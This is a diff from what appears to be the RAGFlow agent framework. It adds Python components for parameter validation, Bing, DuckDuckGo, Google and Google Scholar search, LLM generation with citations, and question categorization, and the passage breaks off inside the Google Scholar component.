+        if type(param).__name__ not in ["float", "int"] or param < 0 or param > 1:
+            raise ValueError(
+                descr
+                + " {} not supported, should be a float number in range [0, 1]".format(
+                    param
+                )
+            )
+
+    @staticmethod
+    def check_boolean(param, descr):
+        if type(param).__name__ != "bool":
+            raise ValueError(
+                descr + " {} not supported, should be bool type".format(param)
+            )
+
+    @staticmethod
+    def check_open_unit_interval(param, descr):
+        if type(param).__name__ not in ["float"] or param <= 0 or param >= 1:
+            raise ValueError(
+                descr + " should be a numeric number between 0 and 1 exclusively"
+            )
+
+    @staticmethod
+    def check_valid_value(param, descr, valid_values):
+        if param not in valid_values:
+            raise ValueError(
+                descr
+                + " {} is not supported, it should be in {}".format(param, valid_values)
+            )
+
+    @staticmethod
+    def check_defined_type(param, descr, types):
+        if type(param).__name__ not in types:
+            raise ValueError(
+                descr + " {} not supported, should be one of {}".format(param, types)
+            )
+
+    @staticmethod
+    def check_and_change_lower(param, valid_list, descr=""):
+        if type(param).__name__ != "str":
+            raise ValueError(
+                descr
+                + " {} not supported, should be one of {}".format(param, valid_list)
+            )
+
+        lower_param = param.lower()
+        if lower_param in valid_list:
+            return lower_param
+        else:
+            raise ValueError(
+                descr
+                + " {} not supported, should be one of {}".format(param, valid_list)
+            )
+
+    @staticmethod
+    def _greater_equal_than(value, limit):
+        return value >= limit - settings.FLOAT_ZERO
+
+    @staticmethod
+    def _less_equal_than(value, limit):
+        return value <= limit + settings.FLOAT_ZERO
+
+    @staticmethod
+    def _range(value, ranges):
+        in_range = False
+        for left_limit, right_limit in ranges:
+            if (
+                    left_limit - settings.FLOAT_ZERO
+                    <= value
+                    <= right_limit + settings.FLOAT_ZERO
+            ):
+                in_range = True
+                break
+
+        return in_range
+
+    @staticmethod
+    def _in(value, right_value_list):
+        return value in right_value_list
+
+    @staticmethod
+    def _not_in(value, wrong_value_list):
+        return value not in wrong_value_list
+
+    def _warn_deprecated_param(self, param_name, descr):
+        if self._deprecated_params_set.get(param_name):
+            flow_logger.warning(
+                f"{descr} {param_name} is deprecated and ignored in this version."
+            )
+
+    def _warn_to_deprecate_param(self, param_name, descr, new_param):
+        if self._deprecated_params_set.get(param_name):
+            flow_logger.warning(
+                f"{descr} {param_name} will be deprecated in future release; "
+                f"please use {new_param} instead."
+            )
+            return True
+        return False
+
+
+class ComponentBase(ABC):
+    component_name: str
+
+    def __str__(self):
+        """
+        {
+            "component_name": "Begin",
+            "params": {}
+        }
+        """
+        return """{{
+            "component_name": "{}",
+            "params": {}
+        }}""".format(self.component_name,
+                     self._param
+                     )
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        self._canvas = canvas
+        self._id = id
+        self._param = param
+        self._param.check()
+
+    def run(self, history, **kwargs):
+        flow_logger.info("{}, history: {}, kwargs: {}".format(self, json.dumps(history, ensure_ascii=False),
+                                                              json.dumps(kwargs, ensure_ascii=False)))
+        try:
+            res = self._run(history, **kwargs)
+            self.set_output(res)
+        except Exception as e:
+            self.set_output(pd.DataFrame([{"content": str(e)}]))
+            raise e
+
+        return res
+
+    def _run(self, history, **kwargs):
+        raise NotImplementedError()
+
+    def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame, partial]]:
+        o = getattr(self._param, self._param.output_var_name)
+        if not isinstance(o, partial) and not isinstance(o, pd.DataFrame):
+            if not isinstance(o, list): o = [o]
+            o = pd.DataFrame(o)
+
+        if allow_partial or not isinstance(o, partial):
+            if not isinstance(o, partial) and not isinstance(o, pd.DataFrame):
+                return pd.DataFrame(o if isinstance(o, list) else [o])
+            return self._param.output_var_name, o
+
+        outs = None
+        for oo in o():
+            if not isinstance(oo, pd.DataFrame):
+                outs = pd.DataFrame(oo if isinstance(oo, list) else [oo])
+            else: outs = oo
+        return self._param.output_var_name, outs
+
+    def reset(self):
+        setattr(self._param, self._param.output_var_name, None)
+
+    def set_output(self, v: pd.DataFrame):
+        setattr(self._param, self._param.output_var_name, v)
+
+    def get_input(self):
+        upstream_outs = []
+        reversed_cpnts = []
+        if len(self._canvas.path) > 1:
+            reversed_cpnts.extend(self._canvas.path[-2])
+        reversed_cpnts.extend(self._canvas.path[-1])
+
+        if DEBUG: print(self.component_name, reversed_cpnts[::-1])
+        for u in reversed_cpnts[::-1]:
+            if self.get_component_name(u) in ["switch"]: continue
+            if self.component_name.lower() == "generate" and self.get_component_name(u) == "retrieval":
+                o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
+                if o is not None:
+                    upstream_outs.append(o)
+                    continue
+            if u not in self._canvas.get_component(self._id)["upstream"]: continue
+            if self.component_name.lower().find("switch") < 0 \
+                    and self.get_component_name(u) in ["relevant", "categorize"]:
+                continue
+            if u.lower().find("answer") >= 0:
+                for r, c in self._canvas.history[::-1]:
+                    if r == "user":
+                        upstream_outs.append(pd.DataFrame([{"content": c}]))
+                        break
+                break
+            if self.component_name.lower().find("answer") >= 0:
+                if self.get_component_name(u) in ["relevant"]:
+                    continue
+            else:
+                o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
+                if o is not None:
+                    upstream_outs.append(o)
+            break
+
+        if upstream_outs:
+            df = pd.concat(upstream_outs, ignore_index=True)
+            if "content" in df:
+                df = df.drop_duplicates(subset=['content']).reset_index(drop=True)
+            return df
+        return pd.DataFrame()
+
+    def get_stream_input(self):
+        reversed_cpnts = []
+        if len(self._canvas.path) > 1:
+            reversed_cpnts.extend(self._canvas.path[-2])
+        reversed_cpnts.extend(self._canvas.path[-1])
+
+        for u in reversed_cpnts[::-1]:
+            if self.get_component_name(u) in ["switch", "answer"]: continue
+            return self._canvas.get_component(u)["obj"].output()[1]
+
+    @staticmethod
+    def be_output(v):
+        return pd.DataFrame([{"content": v}])
+
+    def get_component_name(self, cpn_id):
+        return self._canvas.get_component(cpn_id)["obj"].component_name.lower()

agent/component/begin.py

@@ -0,0 +1,48 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from functools import partial
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class BeginParam(ComponentParamBase):
+
+    """
+    Define the Begin component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.prologue = "Hi! I'm your smart assistant. What can I do for you?"
+
+    def check(self):
+        return True
+
+
+class Begin(ComponentBase):
+    component_name = "Begin"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+        return pd.DataFrame([{"content": self._param.prologue}])
+
+    def stream_output(self):
+        res = {"content": self._param.prologue}
+        yield res
+        self.set_output(res)
+
+
+

agent/component/bing.py

@@ -0,0 +1,85 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import requests
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class BingParam(ComponentParamBase):
+    """
+    Define the Bing component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.channel = "Webpages"
+        self.api_key = "YOUR_ACCESS_KEY"
+        self.country = "CN"
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.channel, "Bing Web Search or Bing News", ["Webpages", "News"])
+        self.check_empty(self.api_key, "Bing subscription key")
+        self.check_valid_value(self.country, "Bing Country",
+                               ['AR', 'AU', 'AT', 'BE', 'BR', 'CA', 'CL', 'DK', 'FI', 'FR', 'DE', 'HK', 'IN', 'ID',
+                                'IT', 'JP', 'KR', 'MY', 'MX', 'NL', 'NZ', 'NO', 'CN', 'PL', 'PT', 'PH', 'RU', 'SA',
+                                'ZA', 'ES', 'SE', 'CH', 'TW', 'TR', 'GB', 'US'])
+        self.check_valid_value(self.language, "Bing Languages",
+                               ['ar', 'eu', 'bn', 'bg', 'ca', 'ns', 'nt', 'hr', 'cs', 'da', 'nl', 'en', 'gb', 'et',
+                                'fi', 'fr', 'gl', 'de', 'gu', 'he', 'hi', 'hu', 'is', 'it', 'jp', 'kn', 'ko', 'lv',
+                                'lt', 'ms', 'ml', 'mr', 'nb', 'pl', 'br', 'pt', 'pa', 'ro', 'ru', 'sr', 'sk', 'sl',
+                                'es', 'sv', 'ta', 'te', 'th', 'tr', 'uk', 'vi'])
+
+
+class Bing(ComponentBase, ABC):
+    component_name = "Bing"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Bing.be_output("")
+
+        try:
+            headers = {"Ocp-Apim-Subscription-Key": self._param.api_key, 'Accept-Language': self._param.language}
+            params = {"q": ans, "textDecorations": True, "textFormat": "HTML", "cc": self._param.country,
+                      "answerCount": 1, "promote": self._param.channel}
+            if self._param.channel == "Webpages":
+                response = requests.get("https://api.bing.microsoft.com/v7.0/search", headers=headers, params=params)
+                response.raise_for_status()
+                search_results = response.json()
+                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["snippet"]} for i in
+                            search_results["webPages"]["value"]]
+            elif self._param.channel == "News":
+                response = requests.get("https://api.bing.microsoft.com/v7.0/news/search", headers=headers,
+                                        params=params)
+                response.raise_for_status()
+                search_results = response.json()
+                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["description"]} for i
+                            in search_results['news']['value']]
+        except Exception as e:
+            return Bing.be_output("**ERROR**: " + str(e))
+
+        if not bing_res:
+            return Bing.be_output("")
+
+        df = pd.DataFrame(bing_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/categorize.py

@@ -0,0 +1,87 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component import GenerateParam, Generate
+from agent.settings import DEBUG
+
+
+class CategorizeParam(GenerateParam):
+
+    """
+    Define the Categorize component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.category_description = {}
+        self.prompt = ""
+
+    def check(self):
+        super().check()
+        self.check_empty(self.category_description, "[Categorize] Category examples")
+        for k, v in self.category_description.items():
+            if not k: raise ValueError(f"[Categorize] Category name can not be empty!")
+            if not v.get("to"): raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!")
+
+    def get_prompt(self):
+        cate_lines = []
+        for c, desc in self.category_description.items():
+            for l in desc.get("examples", "").split("\n"):
+                if not l: continue
+                cate_lines.append("Question: {}\tCategory: {}".format(l, c))
+        descriptions = []
+        for c, desc in self.category_description.items():
+            if desc.get("description"):
+                descriptions.append(
+                    "--------------------\nCategory: {}\nDescription: {}\n".format(c, desc["description"]))
+
+        self.prompt = """
+        You're a text classifier. You need to categorize the user’s questions into {} categories, 
+        namely: {}
+        Here's description of each category:
+        {}
+
+        You could learn from the following examples:
+        {}
+        You could learn from the above examples.
+        Just mention the category names, no need for any additional words.
+        """.format(
+            len(self.category_description.keys()),
+            "/".join(list(self.category_description.keys())),
+            "\n".join(descriptions),
+            "- ".join(cate_lines)
+        )
+        return self.prompt
+
+
+class Categorize(Generate, ABC):
+    component_name = "Categorize"
+
+    def _run(self, history, **kwargs):
+        input = self.get_input()
+        input = "Question: " + ("; ".join(input["content"]) if "content" in input else "") + "Category: "
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        ans = chat_mdl.chat(self._param.get_prompt(), [{"role": "user", "content": input}],
+                            self._param.gen_conf())
+        if DEBUG: print(ans, ":::::::::::::::::::::::::::::::::", input)
+        for c in self._param.category_description.keys():
+            if ans.lower().find(c.lower()) >= 0:
+                return Categorize.be_output(self._param.category_description[c]["to"])
+
+        return Categorize.be_output(self._param.category_description.items()[-1][1]["to"])
+
+

agent/component/cite.py

@@ -0,0 +1,75 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+
+import pandas as pd
+
+from api.db import LLMType
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.settings import retrievaler
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class CiteParam(ComponentParamBase):
+
+    """
+    Define the Retrieval component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.cite_sources = []
+
+    def check(self):
+        self.check_empty(self.cite_source, "Please specify where you want to cite from.")
+
+
+class Cite(ComponentBase, ABC):
+    component_name = "Cite"
+
+    def _run(self, history, **kwargs):
+        input = "\n- ".join(self.get_input()["content"])
+        sources = [self._canvas.get_component(cpn_id).output()[1] for cpn_id in self._param.cite_source]
+        query = []
+        for role, cnt in history[::-1][:self._param.message_history_window_size]:
+            if role != "user":continue
+            query.append(cnt)
+        query = "\n".join(query)
+
+        kbs = KnowledgebaseService.get_by_ids(self._param.kb_ids)
+        if not kbs:
+            raise ValueError("Can't find knowledgebases by {}".format(self._param.kb_ids))
+        embd_nms = list(set([kb.embd_id for kb in kbs]))
+        assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
+
+        embd_mdl = LLMBundle(kbs[0].tenant_id, LLMType.EMBEDDING, embd_nms[0])
+
+        rerank_mdl = None
+        if self._param.rerank_id:
+            rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id)
+
+        kbinfos = retrievaler.retrieval(query, embd_mdl, kbs[0].tenant_id, self._param.kb_ids,
+                                        1, self._param.top_n,
+                                        self._param.similarity_threshold, 1 - self._param.keywords_similarity_weight,
+                                        aggs=False, rerank_mdl=rerank_mdl)
+
+        if not kbinfos["chunks"]: return pd.DataFrame()
+        df = pd.DataFrame(kbinfos["chunks"])
+        df["content"] = df["content_with_weight"]
+        del df["content_with_weight"]
+        return df
+
+

agent/component/duckduckgo.py

@@ -0,0 +1,66 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from duckduckgo_search import DDGS
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class DuckDuckGoParam(ComponentParamBase):
+    """
+    Define the DuckDuckGo component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.channel = "text"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.channel, "Web Search or News", ["text", "news"])
+
+
+class DuckDuckGo(ComponentBase, ABC):
+    component_name = "DuckDuckGo"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return DuckDuckGo.be_output("")
+
+        try:
+            if self._param.channel == "text":
+                with DDGS() as ddgs:
+                    # {'title': '', 'href': '', 'body': ''}
+                    duck_res = [{"content": '<a href="' + i["href"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
+                                in ddgs.text(ans, max_results=self._param.top_n)]
+            elif self._param.channel == "news":
+                with DDGS() as ddgs:
+                    # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''}
+                    duck_res = [{"content": '<a href="' + i["url"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
+                                in ddgs.news(ans, max_results=self._param.top_n)]
+        except Exception as e:
+            return DuckDuckGo.be_output("**ERROR**: " + str(e))
+
+        if not duck_res:
+            return DuckDuckGo.be_output("")
+
+        df = pd.DataFrame(duck_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/generate.py

@@ -0,0 +1,150 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import re
+from functools import partial
+import pandas as pd
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from api.settings import retrievaler
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class GenerateParam(ComponentParamBase):
+    """
+    Define the Generate component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.llm_id = ""
+        self.prompt = ""
+        self.max_tokens = 0
+        self.temperature = 0
+        self.top_p = 0
+        self.presence_penalty = 0
+        self.frequency_penalty = 0
+        self.cite = True
+        self.parameters = []
+
+    def check(self):
+        self.check_decimal_float(self.temperature, "[Generate] Temperature")
+        self.check_decimal_float(self.presence_penalty, "[Generate] Presence penalty")
+        self.check_decimal_float(self.frequency_penalty, "[Generate] Frequency penalty")
+        self.check_nonnegative_number(self.max_tokens, "[Generate] Max tokens")
+        self.check_decimal_float(self.top_p, "[Generate] Top P")
+        self.check_empty(self.llm_id, "[Generate] LLM")
+        # self.check_defined_type(self.parameters, "Parameters", ["list"])
+
+    def gen_conf(self):
+        conf = {}
+        if self.max_tokens > 0: conf["max_tokens"] = self.max_tokens
+        if self.temperature > 0: conf["temperature"] = self.temperature
+        if self.top_p > 0: conf["top_p"] = self.top_p
+        if self.presence_penalty > 0: conf["presence_penalty"] = self.presence_penalty
+        if self.frequency_penalty > 0: conf["frequency_penalty"] = self.frequency_penalty
+        return conf
+
+
+class Generate(ComponentBase):
+    component_name = "Generate"
+
+    def get_dependent_components(self):
+        cpnts = [para["component_id"] for para in self._param.parameters]
+        return cpnts
+
+    def set_cite(self, retrieval_res, answer):
+        answer, idx = retrievaler.insert_citations(answer, [ck["content_ltks"] for _, ck in retrieval_res.iterrows()],
+                                                   [ck["vector"] for _, ck in retrieval_res.iterrows()],
+                                                   LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING,
+                                                             self._canvas.get_embedding_model()), tkweight=0.7,
+                                                   vtweight=0.3)
+        doc_ids = set([])
+        recall_docs = []
+        for i in idx:
+            did = retrieval_res.loc[int(i), "doc_id"]
+            if did in doc_ids: continue
+            doc_ids.add(did)
+            recall_docs.append({"doc_id": did, "doc_name": retrieval_res.loc[int(i), "docnm_kwd"]})
+
+        del retrieval_res["vector"]
+        del retrieval_res["content_ltks"]
+
+        reference = {
+            "chunks": [ck.to_dict() for _, ck in retrieval_res.iterrows()],
+            "doc_aggs": recall_docs
+        }
+
+        if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
+            answer += " Please set LLM API-Key in 'User Setting -> Model Providers -> API-Key'"
+        res = {"content": answer, "reference": reference}
+
+        return res
+
+    def _run(self, history, **kwargs):
+        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
+        prompt = self._param.prompt
+
+        retrieval_res = self.get_input()
+        input = ("  - " + "\n  - ".join(retrieval_res["content"])) if "content" in retrieval_res else ""
+        for para in self._param.parameters:
+            cpn = self._canvas.get_component(para["component_id"])["obj"]
+            _, out = cpn.output(allow_partial=False)
+            if "content" not in out.columns:
+                kwargs[para["key"]] = "Nothing"
+            else:
+                kwargs[para["key"]] = "  - " + "\n  - ".join(out["content"])
+
+        kwargs["input"] = input
+        for n, v in kwargs.items():
+            # prompt = re.sub(r"\{%s\}"%n, re.escape(str(v)), prompt)
+            prompt = re.sub(r"\{%s\}" % n, str(v), prompt)
+
+        downstreams = self._canvas.get_component(self._id)["downstream"]
+        if kwargs.get("stream") and len(downstreams) == 1 and self._canvas.get_component(downstreams[0])[
+            "obj"].component_name.lower() == "answer":
+            return partial(self.stream_output, chat_mdl, prompt, retrieval_res)
+
+        if "empty_response" in retrieval_res.columns:
+            return Generate.be_output(input)
+
+        ans = chat_mdl.chat(prompt, self._canvas.get_history(self._param.message_history_window_size),
+                            self._param.gen_conf())
+        if self._param.cite and "content_ltks" in retrieval_res.columns and "vector" in retrieval_res.columns:
+            df = self.set_cite(retrieval_res, ans)
+            return pd.DataFrame(df)
+
+        return Generate.be_output(ans)
+
+    def stream_output(self, chat_mdl, prompt, retrieval_res):
+        res = None
+        if "empty_response" in retrieval_res.columns and "\n- ".join(retrieval_res["content"]):
+            res = {"content": "\n- ".join(retrieval_res["content"]), "reference": []}
+            yield res
+            self.set_output(res)
+            return
+
+        answer = ""
+        for ans in chat_mdl.chat_streamly(prompt, self._canvas.get_history(self._param.message_history_window_size),
+                                          self._param.gen_conf()):
+            res = {"content": ans, "reference": []}
+            answer = ans
+            yield res
+
+        if self._param.cite and "content_ltks" in retrieval_res.columns and "vector" in retrieval_res.columns:
+            res = self.set_cite(retrieval_res, answer)
+            yield res
+
+        self.set_output(res)

agent/component/google.py

@@ -0,0 +1,96 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from serpapi import GoogleSearch
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class GoogleParam(ComponentParamBase):
+    """
+    Define the Google component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.api_key = "xxx"
+        self.country = "cn"
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_empty(self.api_key, "SerpApi API key")
+        self.check_valid_value(self.country, "Google Country",
+                               ['af', 'al', 'dz', 'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'au', 'at',
+                                'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm', 'bt', 'bo', 'ba', 'bw',
+                                'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi', 'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td',
+                                'cl', 'cn', 'cx', 'cc', 'co', 'km', 'cg', 'cd', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy',
+                                'cz', 'dk', 'dj', 'dm', 'do', 'ec', 'eg', 'sv', 'gq', 'er', 'ee', 'et', 'fk', 'fo',
+                                'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm', 'ge', 'de', 'gh', 'gi', 'gr', 'gl',
+                                'gd', 'gp', 'gu', 'gt', 'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is',
+                                'in', 'id', 'ir', 'iq', 'ie', 'il', 'it', 'jm', 'jp', 'jo', 'kz', 'ke', 'ki', 'kp',
+                                'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls', 'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk',
+                                'mg', 'mw', 'my', 'mv', 'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md',
+                                'mc', 'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc', 'nz', 'ni',
+                                'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw', 'ps', 'pa', 'pg', 'py', 'pe',
+                                'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're', 'ro', 'ru', 'rw', 'sh', 'kn', 'lc', 'pm',
+                                'vc', 'ws', 'sm', 'st', 'sa', 'sn', 'rs', 'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so',
+                                'za', 'gs', 'es', 'lk', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj', 'tz',
+                                'th', 'tl', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv', 'ug', 'ua', 'ae',
+                                'uk', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn', 'vg', 'vi', 'wf', 'eh', 'ye',
+                                'zm', 'zw'])
+        self.check_valid_value(self.language, "Google languages",
+                               ['af', 'ak', 'sq', 'ws', 'am', 'ar', 'hy', 'az', 'eu', 'be', 'bem', 'bn', 'bh',
+                                'xx-bork', 'bs', 'br', 'bg', 'bt', 'km', 'ca', 'chr', 'ny', 'zh-cn', 'zh-tw', 'co',
+                                'hr', 'cs', 'da', 'nl', 'xx-elmer', 'en', 'eo', 'et', 'ee', 'fo', 'tl', 'fi', 'fr',
+                                'fy', 'gaa', 'gl', 'ka', 'de', 'el', 'kl', 'gn', 'gu', 'xx-hacker', 'ht', 'ha', 'haw',
+                                'iw', 'hi', 'hu', 'is', 'ig', 'id', 'ia', 'ga', 'it', 'ja', 'jw', 'kn', 'kk', 'rw',
+                                'rn', 'xx-klingon', 'kg', 'ko', 'kri', 'ku', 'ckb', 'ky', 'lo', 'la', 'lv', 'ln', 'lt',
+                                'loz', 'lg', 'ach', 'mk', 'mg', 'ms', 'ml', 'mt', 'mv', 'mi', 'mr', 'mfe', 'mo', 'mn',
+                                'sr-me', 'my', 'ne', 'pcm', 'nso', 'no', 'nn', 'oc', 'or', 'om', 'ps', 'fa',
+                                'xx-pirate', 'pl', 'pt', 'pt-br', 'pt-pt', 'pa', 'qu', 'ro', 'rm', 'nyn', 'ru', 'gd',
+                                'sr', 'sh', 'st', 'tn', 'crs', 'sn', 'sd', 'si', 'sk', 'sl', 'so', 'es', 'es-419', 'su',
+                                'sw', 'sv', 'tg', 'ta', 'tt', 'te', 'th', 'ti', 'to', 'lua', 'tum', 'tr', 'tk', 'tw',
+                                'ug', 'uk', 'ur', 'uz', 'vu', 'vi', 'cy', 'wo', 'xh', 'yi', 'yo', 'zu']
+                               )
+
+
+class Google(ComponentBase, ABC):
+    component_name = "Google"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Google.be_output("")
+
+        try:
+            client = GoogleSearch(
+                {"engine": "google", "q": ans, "api_key": self._param.api_key, "gl": self._param.country,
+                 "hl": self._param.language, "num": self._param.top_n})
+            google_res = [{"content": '<a href="' + i["link"] + '">' + i["title"] + '</a>    ' + i["snippet"]} for i in
+                          client.get_dict()["organic_results"]]
+        except Exception as e:
+            return Google.be_output("**ERROR**: Existing Unavailable Parameters!")
+
+        if not google_res:
+            return Google.be_output("")
+
+        df = pd.DataFrame(google_res)
+        if DEBUG: print(df, ":::::::::::::::::::::::::::::::::")
+        return df

agent/component/googlescholar.py

@@ -0,0 +1,70 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+from agent.settings import DEBUG
+from agent.component.base import ComponentBase, ComponentParamBase
+from scholarly import scholarly
+
+
+class GoogleScholarParam(ComponentParamBase):
+    """
+    Define the GoogleScholar component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 6
+        self.sort_by = 'relevance'
+        self.year_low = None
+        self.year_high = None
+        self.patents = True
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
